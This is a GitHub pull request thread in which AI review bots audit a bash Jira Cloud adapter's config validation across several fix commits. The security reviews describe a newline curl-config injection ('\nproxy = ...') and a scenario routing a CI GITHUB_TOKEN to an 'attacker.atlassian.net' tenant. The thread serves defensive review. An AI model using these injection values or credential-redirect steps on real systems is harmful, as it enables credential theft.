*.atlassian.net Cloud host unless the binding sets config.jira.allow_custom_domain:
true (deny-by-default on credential egress, with an explicit reviewable opt-in for
custom-domain tenants).

P2 (auth_env): auth_env is dereferenced via ${!name}; an invalid identifier (e.g.
"JIRA-TOKEN") aborts bash on first read. It is now required to be a valid shell
variable name at config load.

P2 (done_category_keys): an explicitly empty array passed the type check, then built
`statusCategory not in ()` — invalid JQL Jira 400s — surfaced as a confusing exit 1.
Now required non-empty (the default remains when the key is absent).

Tests cover each: site with URL structure and non-atlassian host without opt-in →
exit 3, custom-domain opt-in accepted; invalid auth_env → exit 3; empty
done_category_keys → exit 3. CONTRACT.md and the adapter README document the
credential-egress guard and the auth_env/site rules.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 18s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD dce959c)

Tasks

  • Load tools
  • Read common.sh at HEAD — verify dce959c fixes (site, auth_env, done_category_keys)
  • Read get-item.sh, list-items.sh at HEAD — audit remaining injection surfaces
  • Check blocked_by_link_type validation (flagged by Codex, status unknown)
  • Audit new code introduced in dce959c
  • Synthesize and post findings

What is fixed in dce959c — confirmed ✓

All three findings carried from prior reviews are addressed and well-tested:

WIT_JIRA_SITE curl-config injection (common.sh:84–85, common.sh:171–174): WIT_JIRA_HOSTNAME_RE='^[A-Za-z0-9]([A-Za-z0-9.-]*[A-Za-z0-9])?$' rejects schemes, ports, path segments, @ userinfo, and newlines before the value reaches wit_jira_http. The additional .atlassian.net suffix check — with an explicit allow_custom_domain: true opt-in to bypass it — is a correct deny-by-default on credential egress. Tests at list-items.test.sh:149–158 cover a site with embedded URL structure, a non-Atlassian host without the opt-in, and the custom-domain opt-in yielding a clean exit 0. Fixed.

WIT_JIRA_AUTH_ENV bad-substitution crash (common.sh:88, common.sh:178–179): WIT_JIRA_ENV_NAME_RE='^[A-Za-z_][A-Za-z0-9_]*$' is checked before the ${!WIT_JIRA_AUTH_ENV:-} indirect expansion at line 220, so "JIRA-TOKEN" (hyphen) and similar invalid identifiers produce a clean exit 3 rather than a bash abort. Test at list-items.test.sh:163. Fixed.

Empty done_category_keys → Jira HTTP 400 (common.sh:155–157): An explicit [] now exits 3 at config load rather than building statusCategory not in () (invalid JQL). Test at list-items.test.sh:167–168. Fixed.


SUGGESTION — WIT_JIRA_BLOCKED_BY_LINK_TYPE accepted without non-empty validation | Confidence: CONFIRMED

Location: common.sh:137

WIT_JIRA_BLOCKED_BY_LINK_TYPE is loaded with:

WIT_JIRA_BLOCKED_BY_LINK_TYPE="$(jq -r --arg d "$WIT_JIRA_DEFAULT_BLOCKED_BY_LINK_TYPE" \
  '.config.jira.blocked_by_link_type // $d' "$binding")"

Two inputs silently produce an empty string here:

  • "blocked_by_link_type": """" is truthy in jq (not null/false), so // $d does not fall back to the default "Blocks". jq -r emits empty, WIT_JIRA_BLOCKED_BY_LINK_TYPE="".
  • "blocked_by_link_type": [][] is truthy in jq, so the default is not used. jq -r on an array type errors and exits non-zero; the command substitution captures empty. WIT_JIRA_BLOCKED_BY_LINK_TYPE="".

Neither the missing+= ... block nor the bad+= ... block in wit_need_jira_config validates this field. It proceeds silently to the normalizer as --arg blk "".

In WIT_JIRA_NORMALIZE_PROGRAM, the relevant filter is:

select(.type.name == $blk and (.inwardIssue != null))

With $blk = "", no real Jira link type name matches, so this select always drops every entry. Every item's blocked_by_count normalizes to 0, regardless of actual blockers. Work items with live blockers appear unblocked to list-frontier, potentially causing the agent to pick up stuck tickets.

This was flagged by the third Codex pass (16:29:33Z) and the prior Claude code reviews, but no fix or acknowledgement is present at HEAD.

Suggested fix — add the same non-empty check applied to done_category_keys:

[[ -n "$WIT_JIRA_BLOCKED_BY_LINK_TYPE" ]] ||
  missing+=" config.jira.blocked_by_link_type(non-empty string; use null or omit to get the default 'Blocks')"

The // $d default already fires when the key is absent or null, so the only reachable failure mode is a consumer who explicitly wrote "blocked_by_link_type": "". A missing+= guard surfaces that as exit 3 with an actionable message.

Fix this →


SUGGESTION — Residual auth_env exfiltration to attacker-controlled *.atlassian.net tenant | Confidence: PLAUSIBLE

Location: common.sh:135, common.sh:220

The WIT_JIRA_SITE fix correctly blocks credential egress to non-Atlassian hosts by default. However, any registered *.atlassian.net tenant passes the guard — including one controlled by a malicious actor (Atlassian Cloud accounts are free-tier or low-cost).

A binding that sets both "auth_env": "GITHUB_TOKEN" and "site": "attacker.atlassian.net" causes the adapter to base64-encode the CI GITHUB_TOKEN as an Authorization: Basic header and send it to the attacker's Atlassian Cloud instance. Atlassian access logs on that tenant would capture the credential.

Mitigating factors (why this is SUGGESTION, not IMPORTANT):

  1. The binding file (.work-item-tracker.json) is version-controlled and the malicious change would be visible in the PR diff.
  2. A PR setting both auth_env to a CI secret and site to an unfamiliar subdomain is a concrete red flag a reviewer can catch.
  3. The attacker requires an Atlassian Cloud account and must control a real *.atlassian.net tenant.
  4. The exfiltration is limited to a single Basic auth attempt — the token value appears in the Authorization header of one search request.

Note: This is a residual design risk — the previous security reviews already identified it, and the *.atlassian.net constraint is the accepted mitigation. No code change is required here, but it is worth documenting in CONTRACT.md that the binding file must be treated as a security-sensitive tracked secret: changes to auth_env and site in consumer repos should receive the same scrutiny as credential rotation.


What looks good at HEAD

  • All three prior critical/important findings are fixed and tested. The site hostname regex, the auth_env identifier regex, and the done_category_keys non-empty check each follow the same allowlist pattern established for project keys and category keys, and each has a dedicated regression test.
  • allow_custom_domain gate is correctly conservative. Only exact string "true" enables it; a boolean true also maps to string "true" via jq -r, and every other value keeps the deny-by-default. The cross-check WIT_JIRA_SITE != *"$WIT_JIRA_CLOUD_SUFFIX" correctly handles the suffix (e.g., evil.fake-atlassian.net does NOT end with .atlassian.net because the character before atlassian is a hyphen, not a dot).
  • WIT_ID_NUMBER digits-only. The get-item URL path (/issue/$key?fields=...) derives $key from $WIT_ID_REPO (allowlist-validated, ^[A-Za-z][A-Za-z0-9_]*$) and $WIT_ID_NUMBER (constrained to [0-9]+ by the shared ID grammar). No URL path injection is possible.
  • Token never in argv. wit_jira_http feeds the Basic credential through curl's stdin config (-K -) in all code paths. Safe against process-listing exposure.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 45s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD dce959c)

Tasks

  • Load tools
  • Read common.sh at HEAD dce959c
  • Verify: WIT_JIRA_SITE validation fix (curl config injection)
  • Verify: WIT_JIRA_AUTH_ENV validation fix (identifier crash + exfiltration)
  • Verify: empty done_category_keys fix
  • Check: blocked_by_link_type validation (new Codex P2 from 8c0f99a)
  • Check: plugin.json description nit
  • Post findings

Review at dce959c

Fixed — confirmed ✓

All three security/correctness findings outstanding from the prior review round are addressed and well-tested.

WIT_JIRA_SITE validated before embedding in curl config (common.sh:84–85, common.sh:171–175)

WIT_JIRA_HOSTNAME_RE='^[A-Za-z0-9]([A-Za-z0-9.-]*[A-Za-z0-9])?$' rejects any site value containing a scheme, path segment, userinfo character, port, or control character (including the newline that was the injection vector). This blocks the \nproxy = ... and \noutput = ... injection patterns raised in all three prior review passes. The fix goes further than what was suggested: it also adds an Atlassian-Cloud-only restriction — unless config.jira.allow_custom_domain: true is set, the site must end in .atlassian.net. This implements deny-by-default credential egress rather than just format-checking the host. Tests assert both rejection cases (URL structure → exit 3; non-Atlassian host without opt-in → exit 3) and the custom-domain opt-in path (exit 0). Good.

WIT_JIRA_AUTH_ENV validated as a shell identifier (common.sh:87–88, common.sh:178–179)

WIT_JIRA_ENV_NAME_RE='^[A-Za-z_][A-Za-z0-9_]*$' is applied at config load before the ${!WIT_JIRA_AUTH_ENV:-} indirect expansion at line 220. This converts the bad variable name bash abort (opaque exit 1) into a clean exit 3 with a diagnostic. The regex allows lowercase, which is slightly broader than the ^[A-Z][A-Z0-9_]*$ suggested, but the site validation now prevents credentials from being sent to non-Atlassian hosts — the exfiltration chain is broken at the site layer. The two defences together are stronger than either alone. Test: invalid auth_env name → config (3) (uses JIRA-TOKEN with a hyphen). Good.

Empty done_category_keys rejected at config load (common.sh:155–157)

Both type (== "array") and length (> 0) are now checked. An explicit done_category_keys: [] exits 3 instead of producing statusCategory not in () — invalid JQL that would otherwise surface as an opaque Jira HTTP 400 (exit 1). Test: empty done_category_keys → config (3). Good.


Still open — two items remain

Low — blocked_by_link_type: "" accepted, produces silent wrong blocked_by_count: 0

common.sh:137

WIT_JIRA_BLOCKED_BY_LINK_TYPE="$(jq -r --arg d "$WIT_JIRA_DEFAULT_BLOCKED_BY_LINK_TYPE" \
  '.config.jira.blocked_by_link_type // $d' "$binding")"

jq's // activates only on null/false, not on an explicit empty string. So "blocked_by_link_type": "" yields WIT_JIRA_BLOCKED_BY_LINK_TYPE="". In the normalizer, select(.type.name == $blk ...) with $blk = "" matches nothing → blocked_by_count: 0 for all issues. An empty array [] has the same effect (jq -r on [] emits no lines → empty string assignment). This means a misconfiguration produces silently incorrect blocked-by counts rather than a clean config error — flagged as Codex P2 at 8c0f99a, not addressed in dce959c.

The fix mirrors the done_category_keys approach — add a non-empty guard after loading WIT_JIRA_BLOCKED_BY_LINK_TYPE:

[[ -n "$WIT_JIRA_BLOCKED_BY_LINK_TYPE" ]] ||
  missing+=" config.jira.blocked_by_link_type(non-empty string)"

This is low priority (the default "Blocks" handles the absent-key case; only a consumer that explicitly sets "" or [] hits this), but it's the one remaining inconsistency with the done_category_keys and project_keys validation patterns.

Fix this →


Nit — plugin.json description still omits jira

plugin.json:5

The description reads "bundled dispatcher plus github and local-markdown adapters". CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter correctly. This is the only stale reference — flagged in the first review pass and still unaddressed.


What this pass confirms

dce959c closes out the two IMPORTANT security findings (site injection, auth_env exfiltration) and the correctness finding (empty done_category_keys). The site-validation approach — hostname-regex plus Atlassian-Cloud-only by default — is strictly stronger than what any of the review passes suggested and provides layered defence against credential misdirection. All three fixes are tested. The PR is in good shape; the remaining items are low/nit.


@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: dce959c1e8

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh Outdated
Third Codex review round on PR #857 (P2). An empty or non-string
config.jira.blocked_by_link_type override matched no issuelink, so blocked_by_count
was silently 0 for every issue and list-frontier would surface actually-blocked
tickets (silent-wrong). blocked_by_link_type, when present, is now validated as a
non-empty string at config load (exit 3); absent still falls back to the documented
"Blocks" default. Tests: empty and non-string overrides → exit 3, a valid override
accepted. CONTRACT.md notes the rule.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 23s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD a8260b7)

Tasks

  • Load tools
  • Read common.sh at HEAD a8260b7 — verify blocked_by_link_type fix
  • Check Codex P2 at dce959c: individual empty done-category key validation
  • Check plugin.json description nit (still open from prior pass)
  • Scan for any new issues introduced in a8260b7
  • Post findings

Fixed in a8260b7 — confirmed ✓

blocked_by_link_type empty/non-string validation (common.sh:185–186)

The new check uses jq directly on the raw binding value — correctly distinguishing the absent-key case (null → "default", falls back to "Blocks") from an explicit empty string or non-string override ("bad" → exit 3). The three test cases at list-items.test.sh:173–181 — empty string, [], and a valid non-empty override — cover the full shape. CONTRACT.md is updated. Good.


Still open — two items remain

Low — empty string element in done_category_keys (or project_keys) silently accepted

The Codex P2 raised at dce959c is not addressed in a8260b7. common.sh:193 and common.sh:189 both have:

[[ -n "$k" ]] || continue

This guard was added to skip the trailing empty read that bash's here-string (<<<) produces after the last line. But it also silently skips an actual empty-string array element.

Concrete path for done_category_keys: [""]:

  1. Length check passes (length 1 > 0) — only [] is rejected
  2. The loop reads the empty element, hits [[ -n "$k" ]] || continue, silences it — no entry added to bad
  3. WIT_JIRA_DONE_KEYS='[""]' is accepted; the JQL clause at list-items.sh:62 becomes statusCategory not in ("")
  4. Jira accepts this JQL; no real issue has an empty statusCategory.key, so --state open returns all issues including done ones — a silent wrong result that list-frontier would then act on

The same guard in the project_keys loop (common.sh:189) similarly accepts [""], producing project in ("") — which Jira probably rejects (HTTP 400 → exit 1), so the exit code is wrong (1 instead of 3) but the result isn't silently incorrect.

The done_category_keys case is the more dangerous of the two: it produces a valid-looking empty envelope with all done issues included as open, with no diagnostic.

The existing test at list-items.test.sh:167 only covers done_category_keys:[] (empty array), not done_category_keys:[""] (array with empty string).

Suggested fix — add a jq pre-check before both element loops in wit_need_jira_config:

# Reject any element that is an empty string (would produce wrong/invalid JQL)
jq -e 'all(length > 0)' <<<"$WIT_JIRA_DONE_KEYS" >/dev/null 2>&1 ||
  bad+=" done_category_keys(contains empty string element)"
jq -e 'all(length > 0)' <<<"$WIT_JIRA_PROJECT_KEYS" >/dev/null 2>&1 ||
  bad+=" project_keys(contains empty string element)"

This keeps the [[ -n "$k" ]] || continue guard (it still correctly skips the bash trailing-newline artifact) while catching an actual "" element before the loop runs.

Fix this →


Nit — plugin.json description still omits jira

plugin.json:5 still reads "bundled dispatcher plus github and local-markdown adapters". CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter correctly. This is the only stale reference — flagged in every prior review pass.


Positive from this pass

The a8260b7 blocked_by_link_type fix is well-scoped: the jq-on-binding approach correctly distinguishes the absent-key path (null → default) from an explicit bad value (empty string, wrong type → exit 3), which is the right distinction to make. The three tests (two rejection cases, one acceptance case) give clean coverage.

The PR as a whole is in very good shape. The two remaining items above are low priority — one is a one-liner correctness fix, one is a cosmetic doc update — and do not touch the security-critical paths that have been thoroughly addressed across the 0ae80cc → dce959c → a8260b7 fixup chain.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 3m 39s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD a8260b7)

Tasks

  • Load tools
  • Read PR diff at HEAD a8260b7
  • Read common.sh — verify all prior fixes land correctly
  • Audit get-item.sh / list-items.sh — check new code in a8260b7
  • Check Codex P2 at dce959c: individual empty done-category key ([""])
  • Check blocked_by_link_type fix (kyle-sexton confirmed in a8260b7)
  • Scan for any new surfaces introduced in a8260b7
  • Post findings

All three IMPORTANT security findings from prior passes are fixed and confirmed at HEAD a8260b7. The a8260b7 commit introduces no new attack surface. One remaining logic flaw is open.


SUGGESTION — done_category_keys: [""] passes validation; produces wrong JQL that silently closes the open/closed filter | Confidence: CONFIRMED

Location: common.sh:192–196

keys="$(jq -r '.[]' <<<"$WIT_JIRA_DONE_KEYS" | wit_strip_cr)"
while IFS= read -r k; do
  [[ -n "$k" ]] || continue   # ← silently skips empty strings
  [[ "$k" =~ $WIT_JIRA_CATEGORY_KEY_RE ]] || bad+=" done_category_keys:'$k'"
done <<<"$keys"

The array-level check (type == "array" && length > 0) correctly rejects []. However a binding that sets "done_category_keys": [""] passes that check (length is 1) and then the key-level loop silently skips the empty element via [[ -n "$k" ]] || continue. WIT_JIRA_DONE_KEYS = [""] is accepted.

Downstream effect in list-items.sh:62–63:

open) status_clause=" AND statusCategory not in ($(jq -r 'map("\"\(.)\"") | join(",")' <<<"$WIT_JIRA_DONE_KEYS"))" ;;

With [""] this produces statusCategory not in (""). Jira accepts it (syntactically valid JQL) but "" matches no real status-category key, so Jira returns all items regardless of state. The normalizer is similarly broken: ($dk | index($k)) where $dk = [""] and $k = "done" returns null (not found) → every item maps to state: "open", including completed ones. list-frontier surfaces done tickets as frontline candidates.

This was flagged by the Codex P2 pass at dce959c and is the only finding from that round not yet addressed.

The fix is a one-liner — change || continue to || { bad+=" done_category_keys:''(empty string element)"; continue; }, or more consistently, simply remove the null-guard and let the regex fail on the empty string (since WIT_JIRA_CATEGORY_KEY_RE='^[A-Za-z][A-Za-z0-9-]*$' never matches ""):

while IFS= read -r k; do
  [[ "$k" =~ $WIT_JIRA_CATEGORY_KEY_RE ]] || bad+=" done_category_keys:'$k'(empty or invalid)"
done <<<"$keys"

The same [[ -n "$k" ]] || continue pattern exists for project_keys (lines 188–191), but an empty project key in project_keys cannot reach wit_jira_project_in_scope as an allowed value (any get-item or --repo key still must pass WIT_JIRA_PROJECT_KEY_RE individually), so the practical impact there is a Jira 400 rather than a silent wrong result. The done_category_keys path is the one that silently mis-classifies item state.

Fix this →


What is confirmed fixed at HEAD a8260b7

  • WIT_JIRA_SITE curl-config injection (all prior reviews, IMPORTANT): WIT_JIRA_HOSTNAME_RE='^[A-Za-z0-9]([A-Za-z0-9.-]*[A-Za-z0-9])?$' blocks scheme, path, userinfo, port, and control characters (including the newline that was the injection vector). The .atlassian.net suffix guard adds deny-by-default credential egress. Both checks at common.sh:171–175. Fixed.

  • WIT_JIRA_AUTH_ENV indirect-expansion exfiltration (all prior reviews, IMPORTANT): WIT_JIRA_ENV_NAME_RE='^[A-Za-z_][A-Za-z0-9_]*$' is checked at config load before the ${!WIT_JIRA_AUTH_ENV:-} deref at line 227. Converts the bash abort on invalid identifiers into a clean exit 3, and prevents a malicious binding from naming an arbitrary CI secret. common.sh:178–179. Fixed.

  • Empty done_category_keys → invalid JQL (Codex P2 at 0ae80cc, IMPORTANT): Array-level type + length check at common.sh:155–157 rejects [] at config load. Fixed.

  • blocked_by_link_type empty/non-string → silent blocked_by_count: 0 (Codex P2 at 8c0f99a, this commit): Direct binding read with null/string/other discrimination at common.sh:185–186 correctly rejects "" and [] while accepting null/absent (falls back to default "Blocks") and any non-empty string. Fixed.

  • JQL project-key injection (Codex P1 at 705590d): allowlist regex (WIT_JIRA_PROJECT_KEY_RE) applied at config load and at --repo parse time, before any string concatenation into JQL. Fixed.

  • Token never in argv: credential passed exclusively via curl's stdin config (-K -) in wit_jira_http. No process-listing exposure.

  • WIT_ID_NUMBER is digits-only: the shared ID grammar constrains it to [0-9]+, so no URL path injection via the issue number in get-item.sh:36.


@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a8260b74e6

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh Outdated
Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/list-items.sh Outdated
…/non-string)

Fourth Codex round on PR #857 (P2). done_category_keys:[""] (and the same for
project_keys) slipped through: the bash line-loop skipped empty entries, and
command-substitution stripped a trailing "" before the loop even saw it, so an
element-empty array passed the non-empty-array check and built statusCategory
not in ("") / project in ("").

Replace both bash validation loops with jq-side element validation: every element
of project_keys and done_category_keys is checked in jq against the same anchored
allowlist (test()), with a type guard rejecting non-string elements — no element
can evade validation via newline stripping. Tests: [""] in either array, and a
non-string project key element, all → exit 3.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 3m 31s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD d586ab6)

Tasks

  • Load tools
  • Read common.sh at HEAD — verify d586ab6 fixes (key-array element validation)
  • Read list-items.sh at HEAD — audit Codex P2 (response lacking issues)
  • plugin.json nit — cannot push (no write permission); flagged below for @kyle-sexton
  • Post findings

Fixed in d586ab6 — confirmed ✓

Key-array element validation in jq (common.sh:191–195)

Both project_keys and done_category_keys are now validated element-by-element inside jq, not in a bash line-loop:

bad_pk="$(jq -rc --arg re "$WIT_JIRA_PROJECT_KEY_RE" '[.[] | select((type != "string") or (test($re) | not))]' <<<"$WIT_JIRA_PROJECT_KEYS")"
[[ "$bad_pk" == "[]" ]] || bad+=" project_keys:$bad_pk"
bad_dk="$(jq -rc --arg re "$WIT_JIRA_CATEGORY_KEY_RE" '[.[] | select((type != "string") or (test($re) | not))]' <<<"$WIT_JIRA_DONE_KEYS")"
[[ "$bad_dk" == "[]" ]] || bad+=" done_category_keys:$bad_dk"

This is the correct fix for the Codex P2 from dce959c: a bash for loop over $(jq -r '.[]') loses a trailing "" element to command-substitution newline stripping, so [""] evaded validation. Running the check inside jq (with a type guard for non-string elements) closes both the empty-string and non-string holes simultaneously. The bad-element list is echoed back in the diagnostic, which is a nice UX touch.

Tests at list-items.test.sh:173–178 cover: empty-string done key element, empty-string project key element, and non-string (123) project key element — all → exit 3. Good.


Still open — two items

Low — list-items emits a silent empty envelope on a 2xx with no issues key (list-items.sh:87)

Codex P2 from the a8260b7 review pass — no acknowledgement or fix at HEAD.

page_count="$(jq -r '.issues | length' <<<"$WIT_JIRA_BODY")"

jq -r '.issues | length' on a response that has no issues key (e.g. {"errorMessages":["..."]}) evaluates .issuesnull, then null | length0. Since page_count == "0", the loop breaks after one iteration and next_token is "". The outer { while ... } | jq -c -s ... pipeline produces {"schema_version":"1.0","items":[]} on stdout with exit 0 — a valid-looking empty result that gives list-frontier a false all-clear.

wit_jira_require_ok correctly handles non-2xx status codes; this gap is only reachable if Jira (or an intermediary) returns 200 with a response body that lacks issues. Jira's /search/jql v3 always includes issues on a 200, so the practical impact is low — but it is the only code path where a wrong-shape success response goes undetected.

The minimal fix is a shape check after wit_jira_require_ok:

[[ "$(jq -r 'has("issues")' <<<"$WIT_JIRA_BODY")" == "true" ]] ||
  { printf 'jira: list-items search — unexpected response shape (no issues key): %s\n' "$WIT_JIRA_BODY" >&2; exit "$EX_INTERNAL"; }

Alternatively, noting in CONTRACT.md that stdout is undefined on non-zero exit (already implied) would be enough if the team prefers to defer the code fix.

Fix this →


Nit — plugin.json description still omits jira (plugin.json:5)

Still reads "bundled dispatcher plus github and local-markdown adapters" through 7 commits. CHANGELOG, SKILL.md, CONTRACT.md, and README all reflect the new adapter. This is the only stale reference. The fix is a one-word edit — change "github and local-markdown adapters" to "github, local-markdown, and jira adapters".

Fix this →


Overall assessment

The PR is in excellent shape. All security-critical and important findings from the multi-pass review trail (JQL injection, site curl-config injection, auth_env exfiltration + bad-substitution crash, empty done_category_keys, empty blocked_by_link_type, non-array config, project-key scope enforcement, and now element-level key validation) have been addressed with consistent allowlist patterns, clean diagnostics, and well-targeted tests. The two remaining items are low/nit; both are straightforward one-liners if addressed.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 3m 18s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD d586ab6)

Tasks

  • Load tools
  • Read PR diff at HEAD d586ab6
  • Read common.sh, list-items.sh, get-item.sh at HEAD
  • Audit: key-array element validation fix (d586ab6)
  • Audit: all prior security findings — confirmed fixed or still open
  • Audit: any new injection surfaces or logic flaws
  • Synthesize and post findings

What is fixed in d586ab6 — confirmed ✓

done_category_keys/project_keys empty-string and non-string element validation (common.sh:191–195)

The prior bash-loop approach had two independent failure modes that allowed [""] to evade validation: the [[ -n "$k" ]] || continue guard silently skipped empty string elements, and command-substitution newline-stripping swallowed a trailing "" before the loop even ran. The replacement jq-side validation eliminates both:

bad_pk="$(jq -rc --arg re "$WIT_JIRA_PROJECT_KEY_RE" '[.[] | select((type != "string") or (test($re) | not))]' <<<"$WIT_JIRA_PROJECT_KEYS")"
[[ "$bad_pk" == "[]" ]] || bad+=" project_keys:$bad_pk"

The test($re) filter runs against the already-anchored allowlist regex; a non-string element fails the type != "string" guard before test() is even attempted. Empty strings fail WIT_JIRA_PROJECT_KEY_RE='^[A-Za-z][A-Za-z0-9_]*$' (requires at least one leading letter). Both paths correctly add to bad, triggering exit 3. The fail-open direction on jq error (empty bad_pkbad_pk != "[]" → diagnostic added) is a correct conservative fallback. Tests added for [""] in each key array and a non-string project key element. Fixed and well-tested.


Full security posture at HEAD d586ab6 — no open findings

All IMPORTANT and CRITICAL findings from prior review passes are confirmed resolved. Tracing each through the code at HEAD:

Finding Fixed in Verification at HEAD
JQL injection via project_keys/--repo 0ae80cc / 705590d WIT_JIRA_PROJECT_KEY_RE allowlist applied at config load (lines 192–193) and at --repo parse (list-items.sh:46–47). wit_jira_project_in_scope enforces scope on both read paths before any HTTP call.
WIT_JIRA_SITE curl config injection (newline → proxy = ...) dce959c WIT_JIRA_HOSTNAME_RE='^[A-Za-z0-9]([A-Za-z0-9.-]*[A-Za-z0-9])?$' blocks scheme, userinfo, port, path segments, and control chars at lines 170–174. .atlassian.net suffix check adds deny-by-default credential egress.
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration dce959c WIT_JIRA_ENV_NAME_RE='^[A-Za-z_][A-Za-z0-9_]*$' validated at lines 177–178 before ${!WIT_JIRA_AUTH_ENV:-} at line 226.
Non-array project_keys/done_category_keys 0ae80cc / dce959c Type + length check at lines 149–157.
Empty done_category_keys: [] → invalid JQL dce959c Caught by same length check.
blocked_by_link_type: "" → silent blocked_by_count: 0 a8260b7 jq type discrimination at lines 184–185 rejects empty-string and non-string while accepting null (falls back to default).
[""] element in key arrays → JQL bypass d586ab6 jq element validation at lines 191–195 (this commit).

The curl stdin config printf at line 258 remains structurally safe: $auth contains only base64 characters (newlines stripped by tr -d '\n'); $url composes WIT_JIRA_SITE (hostname-regex validated), a hardcoded path literal, and $WIT_JIRA_FIELDS (hardcoded readonly constant) — none of which can contain " or newline.

WIT_ID_NUMBER (get-item.sh:34) is constrained to [0-9]+ by the shared ID grammar, so the native key $WIT_ID_REPO-$WIT_ID_NUMBER carries no URL path injection risk.

wit_jira_project_in_scope (common.sh:219) uses --arg k to pass the project key to jq's index(), so the key value is never interpolated into jq program text.


Previously noted SUGGESTION items — unchanged, no new findings

Two SUGGESTION-level items from prior passes remain by design and do not represent newly introduced risk:

  • WIT_JIRA_CURL seam executes an env-controlled binary (common.sh:58): intentional testability seam, correctly quoted, no word-splitting risk. CI policy (not code) is the right mitigation.
  • allow_custom_domain: true routes credentials to any hostname: documented opt-in escape hatch, requires explicit binding modification, visible in PR diff. Design decision, not a code defect.

No security issues found at HEAD d586ab6. The fixup chain (0ae80cc → dce959c → a8260b7 → d586ab6) has addressed every IMPORTANT and CRITICAL finding raised across all review passes. The PR is ready from a security standpoint.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: d586ab69bf

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/work-items/tools/work-item-tracker/adapters/jira/common.sh Outdated
…sue body

Fifth Codex round on PR #857 (P2). A search or issue GET that returns 2xx but a body
that is not the expected shape — malformed JSON, or an error envelope an intermediary
returned with a 200 — was swallowed: list-items' jq produced nothing, page_count went
empty, the loop broke, and an empty success envelope was emitted, silently telling
list-frontier there is no work; get-item instead crashed the normalizer into a
misleading exit 5.

Both verbs now validate the response shape after the status check — list-items
requires an object with an `issues` array, get-item an object with a string `.key` —
and exit 8 (provider unavailable) with a clear message otherwise. Tests: a 200 error
envelope → exit 8 for each verb.

(The companion "reject empty project_keys element" thread is already covered by the
prior commit's jq element validation.)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 4m 10s —— View job


PR Review Update — feat(work-items): Jira Cloud adapter (HEAD 161cf89)

Tasks

  • Load tools
  • Read list-items.sh at HEAD — verify 161cf89 fixes the 2xx-no-issues shape check
  • Read common.sh at HEAD — check Codex P2 from d586ab6 (done_category_keys: false)
  • Read plugin.json at HEAD — confirm nit still open
  • Post findings

Fixed in 161cf89 — confirmed ✓

2xx response without issues array fails loudly (list-items.sh:91–94)

The new guard checks that the response body is both a JSON object and contains an issues key of array type before the page_count extraction:

[[ "$(jq -r 'if (type == "object" and (.issues | type) == "array") then "ok" else "bad" end' <<<"$WIT_JIRA_BODY" 2>/dev/null)" == "ok" ]] || {
  printf 'jira: list-items search returned a %s response without an issues array\n' "$WIT_JIRA_STATUS" >&2
  exit "$EX_UNAVAILABLE"
}

Three details worth noting:

  1. 2>/dev/null on malformed JSON. If WIT_JIRA_BODY is not valid JSON at all, jq writes an error to stderr and exits non-zero; the command substitution produces empty output (not "ok") → guard fires → exit 8. Correct.
  2. Uses EX_UNAVAILABLE (8) rather than EX_INTERNAL (1). The suggestion in the prior review said EX_INTERNAL, but EX_UNAVAILABLE is a reasonable choice — a 200 with a garbage body is an upstream availability/compatibility issue. Both are defensible; the contract's stdout-undefined-on-non-zero guarantee holds either way.
